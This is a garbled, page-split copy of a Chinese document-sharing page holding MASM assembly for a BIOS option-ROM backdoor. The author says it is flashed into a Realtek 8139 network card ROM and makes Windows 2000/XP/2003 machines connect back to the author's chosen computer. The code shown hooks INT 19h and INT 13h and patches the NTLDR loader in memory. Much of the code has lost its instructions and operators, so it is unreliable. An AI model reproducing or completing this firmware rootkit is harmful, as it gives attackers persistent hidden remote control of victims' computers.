1、相关的工具及相关的源代码会在以后整理发布. 以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整! 调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装 win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.*ROM_IMAGE_SIZEequ 4 ;整个模块大小单位KB,固定大小4KB.CSL_KERNEL_DESTequ 0FFDF0800h;SharedUserData数据结构线性地址.CSL_USER_BACKDOORequ 07FFE0800h*RealCode segme
2、nt use16Code16Start:*org 00h#注意:置代码开始地址以便于确定定置.#,*设置开始偏移:000h*dw0AA55hROM头格式标识可以生气独立ROM.#,*标识开始偏移:dbROM_IMAGE_SIZE*2ROM长度(单位:512B,块)最小8块.#,*长度开始偏移:002h*jmp MyROMCodeStart修改ROM模拟跳转指令到这里执行#,*指令开始偏移:003h* 06h编译器根据偏移长度选择JMP命令#,*JMPrel16长:ReturnOldROM:把数据放在头部以便于确定位置.#,*标识开始偏移:006h*0e9h,0,0执行完跳转到旧的ROM代码跳转
3、处#,*指令数据偏移:007h*CHKSUM=,0填写我们修改后的ROM数据检验和#,*数据偏移地址:010h* 18h编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看PCI 2.2规范教程dd34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡*MyROMCodeStart:pushfpushadpushesdssti打开中断,以便接收键盘输入.mov cx,0ffffh等待,约为两二秒的按键消息.
4、callWaitPressScrollKey.if !CARRY?若按下Scroll Lock键,不运行我们的程序.xor ax,ax es,ax eax,es:19h*4 es:84h*4,eax借用中断向量84H,保存中断向量19H. bx,es:413h40:13,BIOS数据区保存常规的内存大小,单位:KBs.and bl,NOT 3注意:要求分配的物理内存地址,以页作为基地址 .sub bx,4413h,bxshl bx,(10-4)bx *= 1024 / 16 (KBs-线性地址=KBs*1024,段:除以16) es,bx di,dies:di - 分配的实模式高端内存前半部分
5、开始处.cspop dsGetCurrentAddroffset Code16End = offset Code32StartGetCurrentAddr: sisi-GetCurrentAddr在内存的地址 dx,siadd si,Code16End - GetCurrentAddrds:Code16End保护模式代码段内存的地址.cld cx,(ROM_IMAGE_SIZE / 2) * 1024) / 4拷贝保护模式代码数据到分配内存的前半部分.rep movsd bx,100h0-分配的实模式高端内存后半部分开始处. si,dx si,GetCurrentAddr - Code16St
6、artCode16Start实模式代码的内存的地址.拷贝实模式代码数据到分配内存的后半部分. bx,bx ds,bx dx,NewINT19H - GetCurrentAddrdx-NewINT19H内存的地址 ds:19h*4,dx(19h*4) + 2,es设置成我们的INT19H服务代码.endif espopadpopf ReturnOldROM跳转到原来的ROM代码的跳转处执行retf*WaitPressScrollKey:函数入口:CX=350约为10ms, 函数延时: 33(us)ax.repeat inal,60h .if al = 46hScroll Lock键扫描码:46h
7、 stc pop ret .endifal,61h testal,010h .continue .if!ZERO? .repeatal,10h .until deccx.until cx = 0clcret*NewINT19H:clieax $bochs调试1#. es,ax84h*419h*4,eax恢复中断向量19H值.13h*485h*4 != eax85h*4,eax借用中断向量85H,保存中断向量13H.reserved for BASIC 82h85h word ptr es:13h*4,NewINT13H设置NewINT13H在内存的地址.(13h*4) + 2,cs设置成我们的
8、INT13H服务代码 eax恢复现场int 84h调用旧的中断向量19H.iret*NewINT13H:pushf有指令要改变标志寄存器值.testah, 0bdh是不是读数据到内存?ah=02,ah=42h.ZF=0popf85h调用旧的中断向量13H.iret word ptr cs:INT13LASTFUNCTION,ax 85h CARRY?CF=1,读失败退出服务$bochs调试2#.可输入指令:u cs:ip + 2.观察INT13LASTFUNCTION的值.ax,00hINT13LASTFUNCTION EQU $-2 ah = 42h lodsw lodsw参看扩展INT13
9、H规范si + 2指传输块数. lesbx,sisi + 04h表示: 传输用的缓冲区内存地址. al != 00h cx,cx cl,al mov al,8Bh设置搜索标志的第一个字节. shl cx,9(CX * 200h) 搜索搜索计数. di,bx8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST ESI,ESI JZ $+23h CMP BYTE PTR ofs32, imm8cldNTLDR OSLoder模块里的6字节做为标志,进行HOOK.注意:选择HOOK位置很关键!.while 1 repne scasb.breakdword ptr es:di != 74F685F0hword ptr es:di+4 != 8021h(es:di - 1)-我们想被HOOK的指令代码开始处. byte ptr es:di-8,0ebhjmp $指令十六进制值0xebfe,设置在NTLDR暂停.di-7,0feh
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1